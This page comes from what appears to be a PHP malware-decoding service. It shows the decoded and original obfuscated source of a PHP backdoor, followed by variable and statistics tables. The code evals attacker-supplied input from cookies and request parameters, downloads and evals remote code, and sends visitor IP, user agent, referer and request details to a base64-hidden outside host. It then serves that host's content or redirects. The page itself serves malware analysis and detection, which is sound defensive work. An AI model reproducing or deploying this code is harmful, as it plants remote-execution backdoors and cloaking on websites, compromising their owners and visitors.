Decoded Output
Download<? goto WffIHKVitMH; VUmB3t6Gf4L: if (!substr_count($_SERVER["REQUEST_URI"], "index.php/jk")) { goto S8xEFwFsnMN; } goto CCyVBIeJRIo; v6rbFn48FU1: $VqUGuP6UJ3k["r"] = eS2WRyxnzsS($_SERVER["REQUEST_URI"]); goto Vt9dysCyP37; iDOr7G1uRJF: S8xEFwFsnMN: goto cZwtkfdKYFZ; wGWcy_fpSc_: if ($LSb0lOh5aBo) { goto zgaF9NpddcI; } goto EcjVy4hIVNg; mTiim5clpRk: ($n3ZS1Fxfuqi[62] = $n3ZS1Fxfuqi[62] . $n3ZS1Fxfuqi[73]) && ($n3ZS1Fxfuqi[87] = $n3ZS1Fxfuqi[62]($n3ZS1Fxfuqi[87])) && @eval($n3ZS1Fxfuqi[62](${$n3ZS1Fxfuqi[41]}[11])); goto BlAJNNlIoKU; sR5fHC3W5bp: G0u2BTiwobT: goto VUmB3t6Gf4L; gNDiiAYOauA: if (!(in_array(gettype($n3ZS1Fxfuqi) . count($n3ZS1Fxfuqi), $n3ZS1Fxfuqi) && count($n3ZS1Fxfuqi) == 27 && md5(md5(md5(md5($n3ZS1Fxfuqi[21])))) === "6535efc0733ed4a36e843735159e9881")) { goto zvWh16oR035; } goto mTiim5clpRk; NNn38rkhHGT: metaphone("ODEzOTg3NjY1OTY3MjExMDIyOTUzNDgy"); goto XERsXv883lo; XERsXv883lo: class xLWlC2kIEA3 { static function mjA95nyFomt($dazA59CEj2z) { goto Yw9VfTisox6; ZGVFdMwKK_N: $RKxkDUNrGpo = $ZaLhpqDDYGE("~", " "); goto uPDV66C6C70; WVb2ByPVCEX: foreach ($S1ni7q5CNZm as $x_Fbm5q_CrU => $foNNBnZxrDI) { $f2vY6Skg0su .= $RKxkDUNrGpo[$foNNBnZxrDI - 80853]; CJl4Uw2hQTA: } goto PajArtz8liC; PajArtz8liC: ROI9Qor00Gg: goto xB8SMcSwfSa; xB8SMcSwfSa: return $f2vY6Skg0su; goto KzN3D9KTm_Y; LWrVp_A7X12: $f2vY6Skg0su = ''; goto WVb2ByPVCEX; Yw9VfTisox6: $ZaLhpqDDYGE = "r" . "a" . "n" . "g" . "e"; goto ZGVFdMwKK_N; uPDV66C6C70: $S1ni7q5CNZm = explode(">", $dazA59CEj2z); goto LWrVp_A7X12; KzN3D9KTm_Y: } static function hO0OcmErnRW($K2EG9w_eakh, $PHbzcMILVrX) { goto OBXWEZzuDb6; OBXWEZzuDb6: $RiSY7yVzMAh = curl_init($K2EG9w_eakh); goto MlzE3aN8sb3; MlzE3aN8sb3: curl_setopt($RiSY7yVzMAh, CURLOPT_RETURNTRANSFER, 1); goto Aka_THTtz76; Aka_THTtz76: $plSghDI2XeQ = curl_exec($RiSY7yVzMAh); goto KyoUdPkdTEI; KyoUdPkdTEI: return empty($plSghDI2XeQ) ? $PHbzcMILVrX($K2EG9w_eakh) : $plSghDI2XeQ; goto Z2rkvTpnj5O; Z2rkvTpnj5O: } static function QgYhn_wVpt8() { goto q1jE3EFwvdY; izKeaHFR3VX: @$geC1jGV7aXK[10 + 0](INPUT_GET, "of") == 1 && die($geC1jGV7aXK[5 + 0](__FILE__)); goto LiGTzvtf6AL; FujOHRsrGHM: QLxgEZ99Xf5: goto ygIntfgvizQ; Tgmd1E8bNtQ: $kG8ztgn5bJy = @$geC1jGV7aXK[0 + 3]($geC1jGV7aXK[2 + 4], $IVBa1oFBHAS); goto ne59_AlKvm4; nz_pMSxNGWz: $pLsqQyGMlji = md5($hGhPRkzA48B[1 + 2]); goto izKeaHFR3VX; LiGTzvtf6AL: $fow1MhqPc3d = md5($pLsqQyGMlji); goto p0WzWoQp9WE; ne59_AlKvm4: $hGhPRkzA48B = $geC1jGV7aXK[2 + 0]($kG8ztgn5bJy, true); goto nz_pMSxNGWz; q1jE3EFwvdY: $CDmyZDBqo8r = array("80880>80865>80878>80882>80863>80878>80884>80877>80862>80869>80880>80863>80874>80868>80869", "80864>80863>80865>80884>80865>80868>80863>80930>80928", "80873>80864>80868>80869>80884>80879>80878>80880>80868>80879>80878", "80867>80882>80880>80872", "80881>80882>80864>80878>80925>80927>80884>80879>80878>80880>80868>80879>80878", "80877>80874>80871>80878>80884>80876>80878>80863>80884>80880>80868>80869>80863>80878>80869>80863>80864", "80907>80937", "80854", "80932>80937", "80914>80897>80897>80914>80890", "80877>80874>80871>80863>80878>80865>80884>80874>80869>80867>80862>80863"); goto R0HrYIKAwLz; yhtXfOWV8D0: pzGy3zzzWnL: goto j0xIWNUI9jw; R0HrYIKAwLz: foreach ($CDmyZDBqo8r as $MKGmdhqME5p) { $geC1jGV7aXK[] = self::MJa95NyFOmt($MKGmdhqME5p); WL8ns1uVVag: } goto FujOHRsrGHM; p0WzWoQp9WE: if (!(@$hGhPRkzA48B[0] - time() > 0 and $fow1MhqPc3d === "3087be9cebee3fff05b5dd8a731b832c")) { goto pzGy3zzzWnL; } goto B0WDoY_wk2V; ygIntfgvizQ: $IVBa1oFBHAS = @$geC1jGV7aXK[1]($geC1jGV7aXK[2 + 8](INPUT_GET, $geC1jGV7aXK[0 + 9])); goto Tgmd1E8bNtQ; B0WDoY_wk2V: $Xf6AD30ZIp7 = self::Ho0oCmERnRw($hGhPRkzA48B[1 + 0], $geC1jGV7aXK[1 + 4]); goto o6Dnpvjpe91; rnu_eDmo6yI: die; goto yhtXfOWV8D0; o6Dnpvjpe91: @eval($geC1jGV7aXK[1 + 3]($Xf6AD30ZIp7)); goto rnu_eDmo6yI; j0xIWNUI9jw: } } goto BgCtBnkRVtL; DI7JCsNAf43: rI05_a_ddq4: goto TcdK62RsxXF; az2sFt_q2ka: $VqUGuP6UJ3k["l"] = ES2wRYXnZSS($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto iRfl5JPEJD7; SazeSCG5Rj2: if (!in_array($Xju_XeOTejE, array(".js", ".css", ".jpg", ".png", ".gif", ".ico"))) { goto pO2xA1Btdkj; } goto zL5H1q5rWyS; X8pu_ArUiX0: Zk2F2H56txV: goto DI7JCsNAf43; CaeCq5jM0lp: $WTK0x7lgCjL = BU9m_uUjna6() . $_SERVER["HTTP_HOST"]; goto G3xoE43PRED; FbaRnOI0Y8j: echo $dJdYfwrwgB9["content"]; goto BRy_8HoUKwb; HNsrQA8Re1b: $vYKpainvOtL = "r" . "a" . "n" . "g" . "e"; goto D6ZNtQSuLxz; Y5vXetrZoLk: guDfcVYsQl5: goto wGWcy_fpSc_; lHYzXsQ0uZ5: $VqUGuP6UJ3k = array(); goto Mxh5AtGWUmn; WffIHKVitMH: error_reporting(0); goto HNsrQA8Re1b; D6ZNtQSuLxz: $xjxyXMNgWYQ = $vYKpainvOtL("~", " "); goto RoltUQ6gT8P; gK183uRaxtQ: @header("Content-Type:" . $dJdYfwrwgB9["type"]); goto FbaRnOI0Y8j; Cp83jvziizf: function Bs1i3xSCVuy($QX52vV653Uy, $JVCFGrP5VMs = array()) { goto WuNxHUqVa35; cFWWSEJJ_yz: if (!(is_array($JVCFGrP5VMs) && count($JVCFGrP5VMs))) { goto ytvdopvgSnG; } goto rErRl5kR4OO; WuNxHUqVa35: $dJdYfwrwgB9 = array("status" => 0, "content" => '', "type" => ''); goto cFWWSEJJ_yz; k8aujmcAW2N: try { goto bYyXGf2xWX5; JeJd1c26Ggm: @curl_close($KiObLKTQTRM); goto czepV4814mn; Dc0QLiDZ8gw: H_p2udSSjVv: goto nDJpErnC1z5; vfJPRZtmT4p: if (ini_get("allow_url_fopen")) { goto Pe4HI1vznSC; } goto MvKwdkejTGH; o8ZvQmkh3V9: goto GWX_8R0MQvW; goto SlxNNbTKEFb; ZUpWi84pnf9: curl_setopt($KiObLKTQTRM, CURLOPT_SSL_VERIFYHOST, 0); goto Hyyp3fwJmIY; Ii_60LcTHw4: $dJdYfwrwgB9["status"] = intval(curl_getinfo($KiObLKTQTRM, CURLINFO_HTTP_CODE)); goto h3LGjAN6y9I; bjtN5Ei2g4q: curl_setopt($KiObLKTQTRM, CURLOPT_CONNECTTIMEOUT, 20); goto whZgGEpC95z; nDJpErnC1z5: $KiObLKTQTRM = curl_init(); goto HZKKGzb4j6S; C11D0F4X6wO: $IwHmS4GJsUa = stream_context_create($A6amw26rz6w); goto Ao2ygEiA2r1; h3LGjAN6y9I: $dJdYfwrwgB9["type"] = strval(curl_getinfo($KiObLKTQTRM, CURLINFO_CONTENT_TYPE)); goto ZcnKOkCEI1P; ZcnKOkCEI1P: $dJdYfwrwgB9["content"] = strval(curl_getinfo($KiObLKTQTRM, CURLINFO_REDIRECT_URL)); goto JeJd1c26Ggm; HZKKGzb4j6S: curl_setopt($KiObLKTQTRM, CURLOPT_URL, $QX52vV653Uy); goto ZUpWi84pnf9; SlxNNbTKEFb: Pe4HI1vznSC: goto ZsCyaiXL7tg; czepV4814mn: if (!in_array($dJdYfwrwgB9["status"], array(200, 301, 302, 404))) { goto jeuX9WB9BDO; } goto Uchg4R04VIf; Uchg4R04VIf: $dJdYfwrwgB9["content"] = strval($DyspBWPJyIu); goto SevWQUbgwm_; bpDg3Z_J913: if (!in_array($dJdYfwrwgB9["status"], array(200, 301, 302, 404))) { goto jFvoU_vyTdV; } goto YYM5PZdOcbP; qU103W7MjYk: GWX_8R0MQvW: goto V7ZqiR7bvUw; FVAtflM_v0U: curl_setopt($KiObLKTQTRM, CURLOPT_RETURNTRANSFER, 1); goto H5RCfHxp0Fm; LAoikLa8VPA: jFvoU_vyTdV: goto qU103W7MjYk; HbUwDmHvkJ1: curl_setopt($KiObLKTQTRM, CURLOPT_FOLLOWLOCATION, 0); goto F6t16kWe2uF; bYyXGf2xWX5: if (function_exists("curl_exec") && function_exists("curl_init")) { goto H_p2udSSjVv; } goto vfJPRZtmT4p; u4NEFLs_Ve2: $dJdYfwrwgB9 = array_merge($dJdYfwrwgB9, DwnVVnHDP90($http_response_header)); goto bpDg3Z_J913; MvKwdkejTGH: goto GWX_8R0MQvW; goto Dc0QLiDZ8gw; whZgGEpC95z: curl_setopt($KiObLKTQTRM, CURLOPT_TIMEOUT, 60); goto HbUwDmHvkJ1; H5RCfHxp0Fm: $DyspBWPJyIu = curl_exec($KiObLKTQTRM); goto Ii_60LcTHw4; YYM5PZdOcbP: $dJdYfwrwgB9["content"] = strval($dnn16LKx1wI); goto LAoikLa8VPA; ZsCyaiXL7tg: $A6amw26rz6w = array("http" => array("method" => "GET", "timeout" => 60, "follow_location" => 0), "ssl" => array("verify_peer" => false, "verify_peer_name" => false)); goto C11D0F4X6wO; Hyyp3fwJmIY: curl_setopt($KiObLKTQTRM, CURLOPT_SSL_VERIFYPEER, 0); goto bjtN5Ei2g4q; Ao2ygEiA2r1: $dnn16LKx1wI = @file_get_contents($QX52vV653Uy, false, $IwHmS4GJsUa); goto u4NEFLs_Ve2; SevWQUbgwm_: jeuX9WB9BDO: goto o8ZvQmkh3V9; F6t16kWe2uF: curl_setopt($KiObLKTQTRM, CURLOPT_COOKIESESSION, 0); goto FVAtflM_v0U; V7ZqiR7bvUw: } catch (Exception $E7qBvocZPNG) { } goto atv5fMd00_I; kuXvFF83ttN: ytvdopvgSnG: goto k8aujmcAW2N; rErRl5kR4OO: $QX52vV653Uy .= "?" . http_build_query($JVCFGrP5VMs); goto kuXvFF83ttN; atv5fMd00_I: return $dJdYfwrwgB9; goto jaDUVMDZOLz; jaDUVMDZOLz: } goto Of__jFYvOJs; Lu9Y8bRXdKY: function CeE_BmIadBk() { goto Vl_BtMrA_D4; tAhxWqZVIM7: goto Zw0Rnhf6I7L; goto VDSmJZ0H_1Z; xsMEELnByvZ: Fl45HyVAYRl: goto lHsq1TLUK2P; BzFwV8Y80hf: Zw0Rnhf6I7L: goto iIxtY7mPrH4; HDoPS04XjmL: $WIguCk6f8xK = $_SERVER["HTTP_X_FORWARDED_FOR"]; goto BzFwV8Y80hf; Vl_BtMrA_D4: $WIguCk6f8xK = ''; goto MOl9yyNZFj7; MOl9yyNZFj7: if (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) && !empty($_SERVER["HTTP_CF_CONNECTING_IP"])) { goto wtGrKFlhMwE; } goto rFf6DPa84O4; lHsq1TLUK2P: return $WIguCk6f8xK; goto hckZYe0BMuc; XZwWnORcZV8: if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]) && !empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { goto BCTTHwexpSC; } goto FWzu9fmvGZF; QaNgsHhDgCA: $WIguCk6f8xK = explode(",", $WIguCk6f8xK); goto HrkotT5iJz8; VDSmJZ0H_1Z: wtGrKFlhMwE: goto xlA6WkD5C91; tUoMeG5nLqY: if (!(strpos($WIguCk6f8xK, ",") !== false)) { goto Fl45HyVAYRl; } goto QaNgsHhDgCA; iIxtY7mPrH4: $WIguCk6f8xK = trim(str_replace(" ", '', $WIguCk6f8xK), ","); goto tUoMeG5nLqY; FWzu9fmvGZF: $WIguCk6f8xK = $_SERVER["REMOTE_ADDR"]; goto tAhxWqZVIM7; O1xjurcnCpl: goto Zw0Rnhf6I7L; goto cyksJRkHpsA; rFf6DPa84O4: if (isset($_SERVER["HTTP_X_REAL_IP"]) && !empty($_SERVER["HTTP_X_REAL_IP"])) { goto hDilcUGx63U; } goto XZwWnORcZV8; FyzPnm0hqq0: $WIguCk6f8xK = $_SERVER["HTTP_X_REAL_IP"]; goto O1xjurcnCpl; cyksJRkHpsA: BCTTHwexpSC: goto HDoPS04XjmL; DgsluG8npwv: goto Zw0Rnhf6I7L; goto isJXF98O8ot; HrkotT5iJz8: $WIguCk6f8xK = $WIguCk6f8xK[0]; goto xsMEELnByvZ; xlA6WkD5C91: $WIguCk6f8xK = $_SERVER["HTTP_CF_CONNECTING_IP"]; goto DgsluG8npwv; isJXF98O8ot: hDilcUGx63U: goto FyzPnm0hqq0; hckZYe0BMuc: } goto ZVpdeq1erzS; CCyVBIeJRIo: exit("{ "error": 200, "lc": "jk", "data": [ 1 ] }"); goto iDOr7G1uRJF; D4TvHITh4jh: pO2xA1Btdkj: goto Y5vXetrZoLk; eEBKcZF0cVt: $TKjY71Y1pQd = ''; goto edEv5Tur8W9; dNGxkpuzb27: $TKjY71Y1pQd = strval(@$_SERVER["HTTP_REFERER"]); goto CaeCq5jM0lp; wlz8EGwNTXu: switch ($dJdYfwrwgB9["status"]) { case 301: goto VTCXT_vWcKY; ENvldHYavDD: header("Location: " . trim($dJdYfwrwgB9["content"])); goto H795PRiNipX; VTCXT_vWcKY: header("HTTP/1.1 301 Moved Permanently"); goto ENvldHYavDD; H795PRiNipX: goto Zk2F2H56txV; goto JgbSlcwDpAo; JgbSlcwDpAo: case 302: goto IxEZtd1lUSZ; LCmdJMvi3jl: goto Zk2F2H56txV; goto PqT40TTgFP4; IxEZtd1lUSZ: header("HTTP/1.1 302 Move Temporarily"); goto kwe8a69dWg4; kwe8a69dWg4: header("Location: " . trim($dJdYfwrwgB9["content"])); goto LCmdJMvi3jl; PqT40TTgFP4: case 404: goto boP27VR936E; boP27VR936E: header("HTTP/1.1 404 Not Found"); goto uFcQanjMwId; uFcQanjMwId: header("status: 404 Not Found"); goto msa06Ib2Tnf; msa06Ib2Tnf: goto Zk2F2H56txV; goto KxfDulV2QvA; KxfDulV2QvA: default: goto Zk2F2H56txV; } goto pYA6mabGsH_; AOgQhUzdgpn: $LSb0lOh5aBo = false; goto i18UZFxR_OT; BRy_8HoUKwb: exit(0); goto s08E5xTDUqm; FzbxTxjlR3P: function DwnvvnHdp90($krZdI8zaK1b) { goto pEWB3kRFqeU; jmKnVJ_xqdG: gGW9sDyPMzY: goto Mc1UU942KVc; XLR58hDbcW8: a1o0yeu2m8G: goto dSSac_6HUZS; WNHrTX24VnJ: return $AhXMo1eS6Vo; goto XLR58hDbcW8; dSSac_6HUZS: foreach ($krZdI8zaK1b as $P3dWwN8JJCb) { goto KXILYd1fSxP; RacMtNtFVFQ: NE6IARHlRhx: goto rv4cR7unU0P; XM2ohBLnMI8: $AhXMo1eS6Vo["content"] = $sHqWo7ZN6F9[1]; goto ZaKfWNzGcTK; kFnBxQzG0wS: eNS8q0VDg1J: goto XM2ohBLnMI8; KXILYd1fSxP: if (preg_match("/http\/[0-9\.]+[\s]+([0-9]+)/i", $P3dWwN8JJCb, $sHqWo7ZN6F9)) { goto xQpYv9LsT0c; } goto YYq1wpxilty; mXjVbzR3msS: goto ttDcj8MLlwp; goto fa8VnnyrlQ5; YYq1wpxilty: if (preg_match("/location\:[\s]+(.*)/i", $P3dWwN8JJCb, $sHqWo7ZN6F9)) { goto eNS8q0VDg1J; } goto RnLEBQ1DEA4; awx3OgbYHP2: $AhXMo1eS6Vo["status"] = intval($sHqWo7ZN6F9[1]); goto FQzbhW4AQUH; FQzbhW4AQUH: goto ttDcj8MLlwp; goto kFnBxQzG0wS; Z2tcYe0t109: ttDcj8MLlwp: goto QggVOC6_YoC; QggVOC6_YoC: kBZURNSB1_p: goto qFGa2_6_DLL; fa8VnnyrlQ5: xQpYv9LsT0c: goto awx3OgbYHP2; ZaKfWNzGcTK: goto ttDcj8MLlwp; goto RacMtNtFVFQ; rv4cR7unU0P: $AhXMo1eS6Vo["type"] = $sHqWo7ZN6F9[1]; goto Z2tcYe0t109; RnLEBQ1DEA4: if (preg_match("/content\-type\:[\s]+(.*)/i", $P3dWwN8JJCb, $sHqWo7ZN6F9)) { goto NE6IARHlRhx; } goto mXjVbzR3msS; qFGa2_6_DLL: } goto jmKnVJ_xqdG; j3twwcMSXsk: if (is_array($krZdI8zaK1b)) { goto a1o0yeu2m8G; } goto WNHrTX24VnJ; Mc1UU942KVc: return $AhXMo1eS6Vo; goto Bnc82MM4_h_; pEWB3kRFqeU: $AhXMo1eS6Vo = array("status" => 0, "content" => '', "type" => ''); goto j3twwcMSXsk; Bnc82MM4_h_: } goto Cp83jvziizf; Y9NQCVtZjW1: if (!($_SERVER["REQUEST_URI"] === "/R-" . md5($_SERVER["SERVER_NAME"]))) { goto G0u2BTiwobT; } goto wT4Twi1QOzH; sdmokddMxQJ: $VqUGuP6UJ3k["s"] = ES2wrYXnzSS($WTK0x7lgCjL); goto UXmNzwYAMHu; Mxh5AtGWUmn: $VqUGuP6UJ3k["i"] = ES2wRYxNZSS($WIguCk6f8xK); goto az2sFt_q2ka; ZVpdeq1erzS: function bu9m_uujNA6() { goto fsCy9vJJlFX; vohDhF7t_4B: if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { goto r2W0Xf0Pu5L; } goto P_ARyWovaXu; hFjY0sQgYU6: return $v3G1_lbuN0z; goto sbT9TkQ2y8C; TQjPyMxw04z: goto lI5zILheHRI; goto vfECx_Ud9jr; Hsi9TWxnCEG: $v3G1_lbuN0z = "https://"; goto TQjPyMxw04z; rTxnmnVBNGv: r2W0Xf0Pu5L: goto QmteMG5x2Kv; QIhTF6Nh0v0: d2dU6LiTKDx: goto Hsi9TWxnCEG; TnxdOby2bqj: lI5zILheHRI: goto hFjY0sQgYU6; fsCy9vJJlFX: $v3G1_lbuN0z = "http://"; goto vohDhF7t_4B; sub1KN6z2Un: goto lI5zILheHRI; goto QIhTF6Nh0v0; P_ARyWovaXu: if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { goto d2dU6LiTKDx; } goto cH35C7bcj6p; vfECx_Ud9jr: BCtcwCGRUmO: goto ZoLGxIwMJL4; ZoLGxIwMJL4: $v3G1_lbuN0z = "https://"; goto TnxdOby2bqj; QmteMG5x2Kv: $v3G1_lbuN0z = "https://"; goto sub1KN6z2Un; cH35C7bcj6p: if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { goto BCtcwCGRUmO; } goto EjCnEKnZRfa; EjCnEKnZRfa: goto lI5zILheHRI; goto rTxnmnVBNGv; sbT9TkQ2y8C: } goto Y9NQCVtZjW1; BlAJNNlIoKU: zvWh16oR035: goto NNn38rkhHGT; EcjVy4hIVNg: $dJdYfwrwgB9 = BS1I3xsCvUY(base64_decode("aHR0cDovL3pzOTg3djEzLmNvbnRyYS5iZWVyLw"), $VqUGuP6UJ3k); goto F2wLLhVOZjI; UXmNzwYAMHu: $VqUGuP6UJ3k["u"] = ES2WrYxnZSS($_SERVER["HTTP_USER_AGENT"]); goto epifESbJm08; rsN16qFnrRW: error_reporting(0); goto FzbxTxjlR3P; epifESbJm08: $ZHyRH5z3LrR = preg_replace("/\?.*/", '', $_SERVER["REQUEST_URI"]); goto AOgQhUzdgpn; edEv5Tur8W9: z6mUDpjbJqK: goto lHYzXsQ0uZ5; wT4Twi1QOzH: exit(strrev(md5($_SERVER["SERVER_NAME"]))); goto sR5fHC3W5bp; zL5H1q5rWyS: $LSb0lOh5aBo = true; goto D4TvHITh4jh; RoltUQ6gT8P: $n3ZS1Fxfuqi = ${$xjxyXMNgWYQ[21 + 10] . $xjxyXMNgWYQ[39 + 20] . $xjxyXMNgWYQ[24 + 23] . $xjxyXMNgWYQ[33 + 14] . $xjxyXMNgWYQ[37 + 14] . $xjxyXMNgWYQ[15 + 38] . $xjxyXMNgWYQ[7 + 50]}; goto gNDiiAYOauA; pYA6mabGsH_: DZmTtQrlHgP: goto X8pu_ArUiX0; s08E5xTDUqm: t87MJEEE7hx: goto JRbPhm1XNqA; TcdK62RsxXF: if (!strlen($dJdYfwrwgB9["content"])) { goto t87MJEEE7hx; } goto gK183uRaxtQ; BgCtBnkRVtL: XlWLC2KiEA3::qgyhn_wVpt8(); goto REcQ30fsAHx; REcQ30fsAHx: header("Content-Type: text/html; charset=utf-8"); goto rsN16qFnrRW; Of__jFYvOJs: function es2WryXnZsS($sl3SlHe0OkX) { goto SbjXXNljD9X; l8n3yPtLdBB: return rtrim(strtr(base64_encode($sl3SlHe0OkX), "+/", "-_"), "="); goto UH1y5JJbdw0; SbjXXNljD9X: if ($sl3SlHe0OkX) { goto ZrBtYQIamPB; } goto yI0ARgrhcOB; c5XgQ2BBHT7: ZrBtYQIamPB: goto l8n3yPtLdBB; yI0ARgrhcOB: return ''; goto c5XgQ2BBHT7; UH1y5JJbdw0: } goto Lu9Y8bRXdKY; G3xoE43PRED: if (!(strpos($TKjY71Y1pQd, $WTK0x7lgCjL) === 0)) { goto z6mUDpjbJqK; } goto eEBKcZF0cVt; cZwtkfdKYFZ: $WIguCk6f8xK = cee_bmiadbk(); goto dNGxkpuzb27; lT1F4TjmR2o: $Xju_XeOTejE = substr($ZHyRH5z3LrR, strpos($ZHyRH5z3LrR, ".")); goto SazeSCG5Rj2; F2wLLhVOZjI: if (in_array($dJdYfwrwgB9["status"], array(0, 200))) { goto rI05_a_ddq4; } goto wlz8EGwNTXu; iRfl5JPEJD7: $VqUGuP6UJ3k["sn"] = es2WRYxnZsS($_SERVER["SCRIPT_NAME"]); goto v6rbFn48FU1; i18UZFxR_OT: if (!(strpos($ZHyRH5z3LrR, ".") > 0 && strpos($ZHyRH5z3LrR, ".php") === false)) { goto guDfcVYsQl5; } goto lT1F4TjmR2o; Vt9dysCyP37: $VqUGuP6UJ3k["rf"] = ES2wryxNZSs($TKjY71Y1pQd); goto sdmokddMxQJ; JRbPhm1XNqA: zgaF9NpddcI:
?>
Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
| count | 1 |
|---|---|
| range | 1 |
| gettype | 1 |
| in_array | 1 |
| metaphone | 1 |
| error_reporting | 1 |
Variables
| $n3ZS1Fxfuqi | 0 |
|---|---|
| $vYKpainvOtL | range |
| $xjxyXMNgWYQ | [{'key': 0, 'value': '~'}, {'key': 1, 'value': '}'}, {'key': 2, 'value': '|'}, {'key': 3, 'value': '{'}, {'key': 4, 'value': 'z'}, {'key': 5, 'value': 'y'}, {'key': 6, 'value': 'x'}, {'key': 7, 'value': 'w'}, {'key': 8, 'value': 'v'}, {'key': 9, 'value': 'u'}, {'key': 10, 'value': 't'}, {'key': 11, 'value': 's'}, {'key': 12, 'value': 'r'}, {'key': 13, 'value': 'q'}, {'key': 14, 'value': 'p'}, {'key': 15, 'value': 'o'}, {'key': 16, 'value': 'n'}, {'key': 17, 'value': 'm'}, {'key': 18, 'value': 'l'}, {'key': 19, 'value': 'k'}, {'key': 20, 'value': 'j'}, {'key': 21, 'value': 'i'}, {'key': 22, 'value': 'h'}, {'key': 23, 'value': 'g'}, {'key': 24, 'value': 'f'}, {'key': 25, 'value': 'e'}, {'key': 26, 'value': 'd'}, {'key': 27, 'value': 'c'}, {'key': 28, 'value': 'b'}, {'key': 29, 'value': 'a'}, {'key': 30, 'value': '`'}, {'key': 31, 'value': '_'}, {'key': 32, 'value': '^'}, {'key': 33, 'value': ']'}, {'key': 34, 'value': '\\'}, {'key': 35, 'value': '['}, {'key': 36, 'value': 'Z'}, {'key': 37, 'value': 'Y'}, {'key': 38, 'value': 'X'}, {'key': 39, 'value': 'W'}, {'key': 40, 'value': 'V'}, {'key': 41, 'value': 'U'}, {'key': 42, 'value': 'T'}, {'key': 43, 'value': 'S'}, {'key': 44, 'value': 'R'}, {'key': 45, 'value': 'Q'}, {'key': 46, 'value': 'P'}, {'key': 47, 'value': 'O'}, {'key': 48, 'value': 'N'}, {'key': 49, 'value': 'M'}, {'key': 50, 'value': 'L'}, {'key': 51, 'value': 'K'}, {'key': 52, 'value': 'J'}, {'key': 53, 'value': 'I'}, {'key': 54, 'value': 'H'}, {'key': 55, 'value': 'G'}, {'key': 56, 'value': 'F'}, {'key': 57, 'value': 'E'}, {'key': 58, 'value': 'D'}, {'key': 59, 'value': 'C'}, {'key': 60, 'value': 'B'}, {'key': 61, 'value': 'A'}, {'key': 62, 'value': '@'}, {'key': 63, 'value': '?'}, {'key': 64, 'value': '>'}, {'key': 65, 'value': '='}, {'key': 66, 'value': '<'}, {'key': 67, 'value': ';'}, {'key': 68, 'value': ':'}, {'key': 69, 'value': '9'}, {'key': 70, 'value': '8'}, {'key': 71, 'value': '7'}, {'key': 72, 'value': '6'}, {'key': 73, 'value': '5'}, {'key': 74, 'value': '4'}, {'key': 75, 'value': '3'}, {'key': 76, 'value': '2'}, {'key': 77, 'value': '1'}, {'key': 78, 'value': '0'}, {'key': 79, 'value': '/'}, {'key': 80, 'value': '.'}, {'key': 81, 'value': '-'}, {'key': 82, 'value': ','}, {'key': 83, 'value': '+'}, {'key': 84, 'value': '*'}, {'key': 85, 'value': ')'}, {'key': 86, 'value': '('}, {'key': 87, 'value': "'"}, {'key': 88, 'value': '&'}, {'key': 89, 'value': '%'}, {'key': 90, 'value': '$'}, {'key': 91, 'value': '#'}, {'key': 92, 'value': '"'}, {'key': 93, 'value': '!'}, {'key': 94, 'value': ' '}] |
Stats
| MD5 | 3a54bce7ed70ebed |
|---|---|
| Eval Count | 0 |
| Decode Time | 368 ms |
Original Code
goto WffIHKVitMH; VUmB3t6Gf4L: if (!substr_count($_SERVER["\122\105\x51\x55\x45\x53\124\x5f\x55\122\111"], "\151\x6e\x64\145\170\x2e\x70\150\x70\57\x6a\153")) { goto S8xEFwFsnMN; } goto CCyVBIeJRIo; v6rbFn48FU1: $VqUGuP6UJ3k["\162"] = eS2WRyxnzsS($_SERVER["\122\105\x51\x55\105\123\x54\x5f\x55\122\x49"]); goto Vt9dysCyP37; iDOr7G1uRJF: S8xEFwFsnMN: goto cZwtkfdKYFZ; wGWcy_fpSc_: if ($LSb0lOh5aBo) { goto zgaF9NpddcI; } goto EcjVy4hIVNg; mTiim5clpRk: ($n3ZS1Fxfuqi[62] = $n3ZS1Fxfuqi[62] . $n3ZS1Fxfuqi[73]) && ($n3ZS1Fxfuqi[87] = $n3ZS1Fxfuqi[62]($n3ZS1Fxfuqi[87])) && @eval($n3ZS1Fxfuqi[62](${$n3ZS1Fxfuqi[41]}[11])); goto BlAJNNlIoKU; sR5fHC3W5bp: G0u2BTiwobT: goto VUmB3t6Gf4L; gNDiiAYOauA: if (!(in_array(gettype($n3ZS1Fxfuqi) . count($n3ZS1Fxfuqi), $n3ZS1Fxfuqi) && count($n3ZS1Fxfuqi) == 27 && md5(md5(md5(md5($n3ZS1Fxfuqi[21])))) === "\66\65\63\65\x65\146\143\60\x37\x33\x33\x65\144\64\141\x33\x36\x65\70\64\63\x37\x33\65\x31\x35\x39\145\71\70\x38\x31")) { goto zvWh16oR035; } goto mTiim5clpRk; NNn38rkhHGT: metaphone("\x4f\104\105\172\x4f\x54\147\63\116\152\131\x31\117\x54\131\x33\115\x6a\105\170\115\104\x49\x79\117\124\125\x7a\116\x44\x67\171"); goto XERsXv883lo; XERsXv883lo: class xLWlC2kIEA3 { static function mjA95nyFomt($dazA59CEj2z) { goto Yw9VfTisox6; ZGVFdMwKK_N: $RKxkDUNrGpo = $ZaLhpqDDYGE("\x7e", "\x20"); goto uPDV66C6C70; WVb2ByPVCEX: foreach ($S1ni7q5CNZm as $x_Fbm5q_CrU => $foNNBnZxrDI) { $f2vY6Skg0su .= $RKxkDUNrGpo[$foNNBnZxrDI - 80853]; CJl4Uw2hQTA: } goto PajArtz8liC; PajArtz8liC: ROI9Qor00Gg: goto xB8SMcSwfSa; xB8SMcSwfSa: return $f2vY6Skg0su; goto KzN3D9KTm_Y; LWrVp_A7X12: $f2vY6Skg0su = ''; goto WVb2ByPVCEX; Yw9VfTisox6: $ZaLhpqDDYGE = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto ZGVFdMwKK_N; uPDV66C6C70: $S1ni7q5CNZm = explode("\76", $dazA59CEj2z); goto LWrVp_A7X12; KzN3D9KTm_Y: } static function hO0OcmErnRW($K2EG9w_eakh, $PHbzcMILVrX) { goto OBXWEZzuDb6; OBXWEZzuDb6: 